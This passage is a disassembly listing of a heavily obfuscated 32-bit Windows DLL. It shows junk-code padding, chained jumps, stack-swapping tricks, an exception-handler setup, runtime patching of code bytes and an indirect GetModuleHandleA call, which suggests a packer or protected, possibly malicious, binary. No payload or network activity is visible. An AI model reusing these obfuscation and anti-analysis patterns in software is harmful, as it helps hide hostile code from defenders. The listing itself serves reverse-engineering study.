loc_10018005 test byte ptr [ebp-7], 8 jmp loc_10018013 ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- locret_1001AA4C: ; CODE XREF: an.kk9rg:100130F1j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001AA4D: ; CODE XREF: sub_10016A1B+42AEj sub edi, 37C8F37h or edi, 2EFF11CCh test edi, 1000000h jmp loc_1001D9CC ; END OF FUNCTION CHUNK FOR sub_10016A1B ; =============== S U B R O U T I N E ======================================= sub_1001AA64 proc near ; CODE XREF: sub_10013389:loc_1001464Ep ; an.kk9rg:1001D304j ; FUNCTION CHUNK AT 10018601 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov [ecx], eax push offset sub_100140AF jmp loc_10018601 sub_1001AA64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001AA74 proc near ; CODE XREF: sub_1001A6F7:loc_100181A0j retn sub_1001AA74 endp ; --------------------------------------------------------------------------- loc_1001AA75: ; CODE XREF: an.kk9rg:1001CF71j jmp loc_100140C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001AA7A: ; CODE XREF: sub_10017A58+CB4j jmp loc_100152DC ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001AA7F: ; CODE XREF: sub_10013061+443Fj jmp loc_100175F5 ; END OF FUNCTION CHUNK FOR sub_10013061 ; =============== S U B R O U T I N E ======================================= sub_1001AA84 proc near ; DATA XREF: an.kk9rg:loc_10018D00o ; FUNCTION CHUNK AT 100151F3 SIZE 00000005 BYTES inc dword ptr [ebp-1Ch] jmp loc_100151F3 sub_1001AA84 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001AA8C: ; CODE XREF: sub_1001498A+Cj ; sub_1001ADAE+Cj inc dword ptr [ebp-18h] call sub_1001A5EB loc_1001AA94: ; CODE XREF: sub_1001A822+1j jmp loc_1001592A ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- jz loc_10014F49 jmp loc_1001DDCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D43B loc_1001AAA4: ; CODE XREF: sub_1001D43B-5FB9j jno loc_100179D8 ; END OF FUNCTION CHUNK FOR sub_1001D43B ; =============== S U B R O U T I N E ======================================= sub_1001AAAA proc near ; CODE XREF: an.kk9rg:100193DCp xchg ecx, [esp+0] pop ecx mov ebp, esp push ebx mov ebx, ecx jmp loc_10018476 sub_1001AAAA endp ; =============== S U B R O U T I N E ======================================= sub_1001AAB8 proc near ; CODE XREF: sub_10017EFB-32B7p xchg eax, [esp+0] pop eax xor esi, 171DC900h add esi, ebp add esi, 14DF835Ah push offset loc_10014F93 jmp nullsub_210 sub_1001AAB8 endp ; --------------------------------------------------------------------------- jo loc_1001CBAC cdq ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AADB: ; CODE XREF: sub_10013389+198j jmp sub_10017643 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001AAE0: ; CODE XREF: sub_1001ABFD+24FAj pop ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001AAE3 proc near ; CODE XREF: sub_1001701B-27F3p ; sub_1001603C+4p ; FUNCTION CHUNK AT 10019D34 SIZE 00000018 BYTES push ebp mov ebp, esp jmp loc_10019D34 sub_1001AAE3 endp ; --------------------------------------------------------------------------- loc_1001AAEB: ; CODE XREF: an.kk9rg:10015F6Cj cdq ; START OF FUNCTION CHUNK FOR sub_1001590F loc_1001AAEC: ; CODE XREF: sub_1001590F+15j rol edi, 19h test edi, 40000h jmp loc_1001D9F7 ; END OF FUNCTION CHUNK FOR sub_1001590F ; --------------------------------------------------------------------------- xor ecx, 0E986439Bh jmp loc_10019FD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100183B7 loc_1001AB05: ; CODE XREF: sub_100183B7:loc_10017D2Bj mov ecx, [esp-8+arg_14] mov dword ptr [ecx], 10001h lea eax, loc_1001AB29 mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_100183B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B956 loc_1001AB1F: ; CODE XREF: sub_1001B956+22D4j jmp loc_1001AF78 ; END OF FUNCTION CHUNK FOR sub_1001B956 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100179FF loc_1001AB24: ; CODE XREF: sub_100179FF-1B57j jmp nullsub_159 ; END OF FUNCTION CHUNK FOR sub_100179FF ; --------------------------------------------------------------------------- loc_1001AB29: ; DATA XREF: sub_100183B7+2758o xor eax, eax jmp loc_1001D75C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001AB30: ; CODE XREF: sub_1001537B:loc_10019C4Aj jz loc_10018D41 ; END OF FUNCTION CHUNK FOR sub_1001537B ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AB36: ; CODE XREF: sub_10013389+33j jmp loc_100152E7 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- cmp edi, edx jmp loc_1001B47D ; --------------------------------------------------------------------------- test al, al jz loc_100198B7 jmp loc_1001D3EE ; =============== S U B R O U T I N E ======================================= sub_1001AB4F proc near ; CODE XREF: an.kk9rg:10015BD7j ; sub_100136D7:loc_1001A637p ; FUNCTION CHUNK AT 1001B744 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx inc dword ptr [ebp-4] jmp loc_1001B744 sub_1001AB4F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001AB5B proc near ; CODE XREF: sub_100193F2-20C7p call sub_1001B357 push ecx jmp loc_10017D2B sub_1001AB5B endp ; --------------------------------------------------------------------------- loc_1001AB66: ; CODE XREF: an.kk9rg:loc_1001A556j test ecx, ebp jmp loc_1001B27D ; --------------------------------------------------------------------------- adc ebx, 0E126DBEh mov esi, [ebx] jmp sub_10013BAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001AB7A: ; CODE XREF: sub_1001893F:loc_10017C7Fj sub ebp, 0FCE85908h test ecx, esi jmp loc_10017CC8 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_1001AB87: ; CODE XREF: an.kk9rg:10016974j test ecx, 72823201h jmp loc_100175AE ; --------------------------------------------------------------------------- push eax push ebx push 457AD6B1h ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001AB99: ; CODE XREF: sub_1001C799:loc_1001C651j pop ebx jmp loc_10013086 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_1001AB9F: ; CODE XREF: sub_100138FD:loc_1001600Aj call sub_10015690 ; END OF FUNCTION CHUNK FOR sub_100138FD ; START OF FUNCTION CHUNK FOR sub_10016B92 loc_1001ABA4: ; CODE XREF: sub_10016B92+1820j jmp loc_10018F5D ; END OF FUNCTION CHUNK FOR sub_10016B92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001ABA9: ; CODE XREF: sub_1001564A-BD9j jmp loc_1001548E ; END OF FUNCTION CHUNK FOR sub_1001564A ; =============== S U B R O U T I N E ======================================= sub_1001ABAE proc near ; CODE XREF: an.kk9rg:10016F49j ; sub_100180C2+16A5p xchg ebx, [esp+0] pop ebx pop ebp retn sub_1001ABAE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001ABB4 proc near ; CODE XREF: sub_100180C2+169Bp ; FUNCTION CHUNK AT 100174A6 SIZE 00000005 BYTES mov dword ptr [eax], 0 jmp loc_100174A6 sub_1001ABB4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001ABBF: ; CODE XREF: sub_100142E8:loc_10018835j mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_10019631 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001ABCF: ; CODE XREF: sub_10015B5D:loc_10013161j cmp dword ptr [ebp-1Ch], 66h jnz loc_1001D843 mov eax, 6 jmp loc_1001660C ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_1001ABE3: ; CODE XREF: sub_100181E1:loc_100146C7j popf xor edi, 3C6D205Bh jmp sub_1001DBDB ; END OF FUNCTION CHUNK FOR sub_100181E1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001ABF0: ; CODE XREF: sub_1001C67F-50F0j ; sub_1001B3CA-3D96j ... jmp loc_10014DF9 ; --------------------------------------------------------------------------- loc_1001ABF5: ; CODE XREF: sub_1001C2D8-6464j ; sub_1001B3CA+7j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_1001ABF8: ; CODE XREF: sub_1001D461-4FBj jmp loc_10014F74 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001ABFD proc near ; CODE XREF: sub_10018FE5+4p ; an.kk9rg:1001A28Dp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014120 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014428 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10014865 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10016115 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016C2C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017987 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100188C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018EF8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10019435 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100194F6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019702 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001A376 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 1001AAE0 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 1001AC9B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B9FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C300 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C9B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CB1A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CE70 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001D0ED SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001DF1F SIZE 00000005 BYTES push ecx mov ecx, ebp xchg ecx, [esp+0] mov ebp, esp jmp loc_10019435 sub_1001ABFD endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebp, esi jmp sub_10019473 ; --------------------------------------------------------------------------- push ebx call sub_100170BC loc_1001AC17: ; CODE XREF: an.kk9rg:1001D7A9j jmp loc_1001788A ; --------------------------------------------------------------------------- loc_1001AC1C: ; DATA XREF: sub_10013389+6615o add ebx, 0DFC0FD34h xchg ebx, [esp] jmp sub_1001534D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001AC2B: ; CODE XREF: sub_10015D9E:loc_10016551j jnz loc_10015FDD jmp loc_10018D57 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AC36: ; CODE XREF: sub_10013389+2199j jno loc_1001D4F4 ror ecx, 1Bh shl edi, 1Dh jmp loc_1001D67E ; --------------------------------------------------------------------------- loc_1001AC47: ; CODE XREF: sub_10013389:loc_10015B9Fj jz loc_10013967 jmp loc_10016467 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- jnz sub_10016323 jmp sub_10019293 ; --------------------------------------------------------------------------- cmp ebp, 4A95FEF1h jmp loc_10014C9E ; --------------------------------------------------------------------------- jg loc_100193AB jmp sub_10018776 ; =============== S U B R O U T I N E ======================================= sub_1001AC73 proc near ; CODE XREF: an.kk9rg:10019948p ; an.kk9rg:1001B8CEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100156AE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10016238 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10018141 SIZE 00000016 BYTES xchg eax, [esp+0] pop eax xchg edi, [esp+0] mov ebp, esp jmp loc_100156AE sub_1001AC73 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebp, [ebx] jmp sub_100190EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_1001AC88: ; CODE XREF: sub_10013310+8930j cmp ds:dword_100181AC, 0 jnz loc_100133AA jmp loc_10017151 ; END OF FUNCTION CHUNK FOR sub_10013310 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001AC9B: ; CODE XREF: sub_1001ABFD+1709j jmp loc_10014428 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017217 loc_1001ACA0: ; CODE XREF: sub_10017217+Bj jmp loc_1001A9D4 ; END OF FUNCTION CHUNK FOR sub_10017217 ; =============== S U B R O U T I N E ======================================= sub_1001ACA5 proc near ; DATA XREF: sub_1001985B-2E0Fo ; FUNCTION CHUNK AT 1001554D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10017C47 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001DDEE SIZE 0000001E BYTES push 0E3CB9FC5h pop ecx rol ecx, 11h cmp ecx, 9BB543EFh jmp loc_10017C47 sub_1001ACA5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001ACB9: ; CODE XREF: an.kk9rg:10015036j mov eax, [ebp-30h] push ebx push eax pop ebx xchg ebx, [esp] ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001ACC2: ; CODE XREF: sub_10016A1B:loc_100139C7j push edi push 3942E481h pop edi jmp loc_1001AA4D ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001ACCE: ; CODE XREF: sub_100193F2-61AFj call sub_1001D076 loc_1001ACD3: ; CODE XREF: sub_1001D951-304Dj jmp loc_1001D609 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_1001ACD8: ; CODE XREF: an.kk9rg:10013B84j jmp loc_1001AF34 ; --------------------------------------------------------------------------- loc_1001ACDD: ; DATA XREF: sub_10013389+158o add dword ptr [ebp-8], 4 jmp loc_10016487 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001ACE6: ; CODE XREF: sub_10013389+152j add dword ptr [ebp-8], 2 jmp loc_100162F8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001ACEF proc near ; CODE XREF: an.kk9rg:10015B6Bj ; sub_10015945+50EFp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 10017DE3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018493 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_10018493 sub_1001ACEF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001AD00: ; CODE XREF: sub_10016167:loc_10018ADAj mov edx, ecx xchg edx, [esp+0] push ebx call sub_10016C77 loc_1001AD0B: ; CODE XREF: sub_10013389+9AE2j jmp loc_1001C260 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- loc_1001AD10: ; CODE XREF: an.kk9rg:10016A9Dj ; an.kk9rg:loc_10017B37j jmp loc_1001D79D ; --------------------------------------------------------------------------- add ebp, edi sbb eax, edx jmp sub_10017273 ; --------------------------------------------------------------------------- loc_1001AD1E: ; CODE XREF: an.kk9rg:10015AFFj jl loc_10014E9C ; =============== S U B R O U T I N E ======================================= sub_1001AD24 proc near ; CODE XREF: an.kk9rg:10018DF9p xchg edi, [esp+0] pop edi push eax ror eax, 18h mov ds:dword_1001B72C, eax retn sub_1001AD24 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001AD33: ; CODE XREF: sub_100136D7+163Ej mov [ebp+0], edx ; END OF FUNCTION CHUNK FOR sub_100136D7 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001AD36: ; CODE XREF: sub_10016167-1BE1j ; sub_100136D7:loc_10014909j ... jmp loc_1001C1FD ; --------------------------------------------------------------------------- loc_1001AD3B: ; CODE XREF: sub_10016167-43Bj ; sub_100136D7+9199j xchg eax, [esp+0] loc_1001AD3E: ; CODE XREF: an.kk9rg:loc_10013633j mov ecx, eax pop eax call sub_10016372 loc_1001AD46: ; CODE XREF: an.kk9rg:1001B298j jmp loc_1001DEE9 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001AD4B: ; CODE XREF: sub_100193F2:loc_1001DA32j call sub_1001B956 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_1001AD50: ; CODE XREF: sub_10015C14+15BBj jmp loc_1001889A ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001AD55: ; CODE XREF: sub_1001C2D8-622Fj jnz loc_1001A48D jmp loc_100192CB ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001AD61: ; CODE XREF: sub_1001CF40+15j jmp loc_10017937 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001AD66: ; CODE XREF: sub_100136D7:loc_1001DEEFj jnz loc_1001D595 jmp loc_10015E16 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_1001AD71: ; DATA XREF: sub_10018066:loc_10018452o push edx push 6BCA773h pop edx xor edx, 0DBF08484h add edx, 32B5146Dh jmp loc_10016D17 ; --------------------------------------------------------------------------- loc_1001AD89: ; CODE XREF: an.kk9rg:10019C6Cj push ecx ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001AD8A: ; CODE XREF: sub_10016D66:loc_10014F5Dj mov ecx, edx xchg ecx, [esp+8+var_8] push eax call sub_1001BB87 mov al, 1 pop edx call edx ; GetModuleHandleA jmp loc_10019149 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AD9F: ; CODE XREF: sub_10013389:loc_10014653j call sub_1001701B loc_1001ADA4: ; CODE XREF: sub_10016D66+7116j jmp loc_10019446 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_1001ADA9: ; CODE XREF: sub_1001701B+Dj jmp loc_10016362 ; END OF FUNCTION CHUNK FOR sub_1001701B ; =============== S U B R O U T I N E ======================================= sub_1001ADAE proc near ; CODE XREF: an.kk9rg:10015B72j ; sub_10015086+466Dp ; FUNCTION CHUNK AT 1001B3FE SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx call sub_100141F5 cmp eax, [ebp-8] jnz loc_1001AA8C jmp loc_1001B3FE sub_1001ADAE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001ADC5: ; CODE XREF: sub_10013389:loc_1001D452j jz loc_1001DA51 loc_1001ADCB: ; CODE XREF: sub_100199B5+19E7j jmp nullsub_168 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- adc ebx, 0DCE4E873h jns loc_100155EE jmp loc_1001DA46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001ADE1: ; CODE XREF: sub_10013BB8:loc_10013BCAj mov eax, [eax] cmp byte ptr [eax], 0 jnz loc_1001B1C3 jmp loc_10013977 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001ADF1: ; CODE XREF: sub_1001B5A3-83E4j mov edx, ebp jmp loc_10017B13 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001ADF8: ; CODE XREF: sub_1001456F:loc_10016DECj ; sub_1001456F+8348j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001DF1C jmp loc_10014AE9 ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- mov ds:dword_10002000, eax lea eax, nullsub_218 mov byte ptr [eax], 0C3h jmp nullsub_218 ; =============== S U B R O U T I N E ======================================= sub_1001AE1D proc near ; CODE XREF: sub_1000144Aj ; DATA XREF: vyridizn:off_10002004o ; FUNCTION CHUNK AT 1001A4AC SIZE 00000013 BYTES jz loc_1001A4AC mov eax, ds:dword_1001401C jmp loc_1001B5B6 sub_1001AE1D endp ; --------------------------------------------------------------------------- locret_1001AE2E: ; CODE XREF: an.kk9rg:1001737Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001AE2F: ; CODE XREF: sub_10015B5D+7CF5j jmp loc_1001B9B6 ; --------------------------------------------------------------------------- loc_1001AE34: ; CODE XREF: sub_10015B5D:loc_1001475Ej mov ebx, [ecx] sub ebp, 51F9D856h jmp loc_1001C484 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; =============== S U B R O U T I N E ======================================= sub_1001AE41 proc near ; DATA XREF: sub_1001B357+7o ; FUNCTION CHUNK AT 100199EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B342 SIZE 0000000B BYTES mov large fs:0, esp mov eax, [eax] mov eax, 1 jmp loc_100199EE sub_1001AE41 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add eax, offset nullsub_10 push offset sub_1001D221 jmp locret_100132EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001AE64: ; CODE XREF: sub_1001456F+5021j jbe loc_1001C76D jb loc_1001B6DB add esi, 17F7AACh mov ebp, ecx jmp loc_1001DF17 ; END OF FUNCTION CHUNK FOR sub_1001456F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AE7E: ; CODE XREF: sub_10013389+7F1Bj jmp nullsub_172 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C67F loc_1001AE83: ; CODE XREF: sub_1001C67F-63CDj jmp loc_10016264 ; END OF FUNCTION CHUNK FOR sub_1001C67F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016C31 loc_1001AE88: ; CODE XREF: sub_10016C31+650Dj mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_100190F2 ; END OF FUNCTION CHUNK FOR sub_10016C31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001AE94: ; CODE XREF: sub_10013688+4j ; sub_10013389+3DFAj jno loc_1001CD13 cmp dword ptr [ebp-10h], 0 jnz loc_10014E46 mov eax, [ebp+8] jmp loc_1001CE13 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- loc_1001AEAC: ; CODE XREF: an.kk9rg:loc_10017BEFj mov eax, 26F2C8CDh and esi, 7A53B493h jmp loc_100157EE ; =============== S U B R O U T I N E ======================================= sub_1001AEBC proc near ; CODE XREF: an.kk9rg:10014B5Bj ; sub_100190EB+3BDFp ; FUNCTION CHUNK AT 1001CEB8 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jnz loc_1001C7B0 mov eax, [ebp+8] or dword ptr [eax-8], 4 push offset loc_1001D320 jmp loc_1001CEB8 sub_1001AEBC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001AED7: ; CODE XREF: sub_10018C4D:loc_10017ACDj mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_1001B7CA mov eax, [ebp-4] jmp loc_1001CC8A ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- cdq cmp edx, ecx jmp loc_1001A6CC ; --------------------------------------------------------------------------- loc_1001AEF4: ; CODE XREF: an.kk9rg:10013962j cdq cmp eax, 290DBC0Ch jmp loc_1001B2F0 ; --------------------------------------------------------------------------- loc_1001AF00: ; DATA XREF: sub_10017442+3o xchg ebx, [esp] call sub_10017394 loc_1001AF08: ; CODE XREF: an.kk9rg:1001C21Ej push 8EECEF4Bh pop edi sub edi, 0AA8BCF87h add edi, 0CE358864h ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001AF1A: ; CODE XREF: sub_10018E79:loc_1001B565j ; sub_10017394:loc_1001DE0Cj or edi, 0B6592CC5h xor edi, 5DA657DBh add edi, 24879B89h xchg edi, [esp+0] jmp loc_10016A57 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- loc_1001AF34: ; CODE XREF: an.kk9rg:loc_1001ACD8j rol ebx, 1 or ebx, 0C70243Bh test ebx, 4000h jmp loc_10014AE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AF47: ; CODE XREF: sub_10013389:loc_1001CB43j pop ebx mov eax, [ebp-4] movzx eax, word ptr [eax+14h] add eax, [ebp-4] push edi mov edi, edx xchg edi, [esp-4+arg_0] jmp loc_10016509 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001AF5D: ; CODE XREF: sub_1001504E:loc_1001505Cj mov ebp, esp push edi mov edi, ecx xchg edi, [esp+0] mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_10019838 ; END OF FUNCTION CHUNK FOR sub_1001504E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001753F loc_1001AF73: ; CODE XREF: sub_1001753F+7j jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001753F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B956 loc_1001AF78: ; CODE XREF: sub_1001B956:loc_1001AB1Fj jl loc_1001DD75 ; END OF FUNCTION CHUNK FOR sub_1001B956 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AF7E: ; CODE XREF: sub_10013389+F0j jmp loc_1001933E ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001AF83: ; CODE XREF: an.kk9rg:loc_100164C8j push 0A46F3A34h rol edi, 11h xor eax, edi test ebp, eax jmp loc_1001DD6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D9A7 loc_1001AF94: ; CODE XREF: sub_1001D9A7+Dj jz loc_1001D928 jmp loc_1001DA3C ; END OF FUNCTION CHUNK FOR sub_1001D9A7 ; --------------------------------------------------------------------------- loc_1001AF9F: ; DATA XREF: sub_10018E91+9o xor eax, eax mov [ebp-0Ch], eax loc_1001AFA4: ; CODE XREF: an.kk9rg:10015235j cmp dword ptr [ebp-4], 0 jz loc_1001C0CC mov eax, [ebp-4] jmp loc_1001D287 ; --------------------------------------------------------------------------- add edx, 69990869h jmp sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100152C7 loc_1001AFC1: ; CODE XREF: sub_100152C7:loc_1001A59Cj cdq adc ebx, 472B7347h loc_1001AFC8: ; CODE XREF: sub_10016734:loc_10013B0Dj and eax, ebx jmp loc_1001C7EE ; END OF FUNCTION CHUNK FOR sub_100152C7 ; --------------------------------------------------------------------------- loc_1001AFCF: ; CODE XREF: 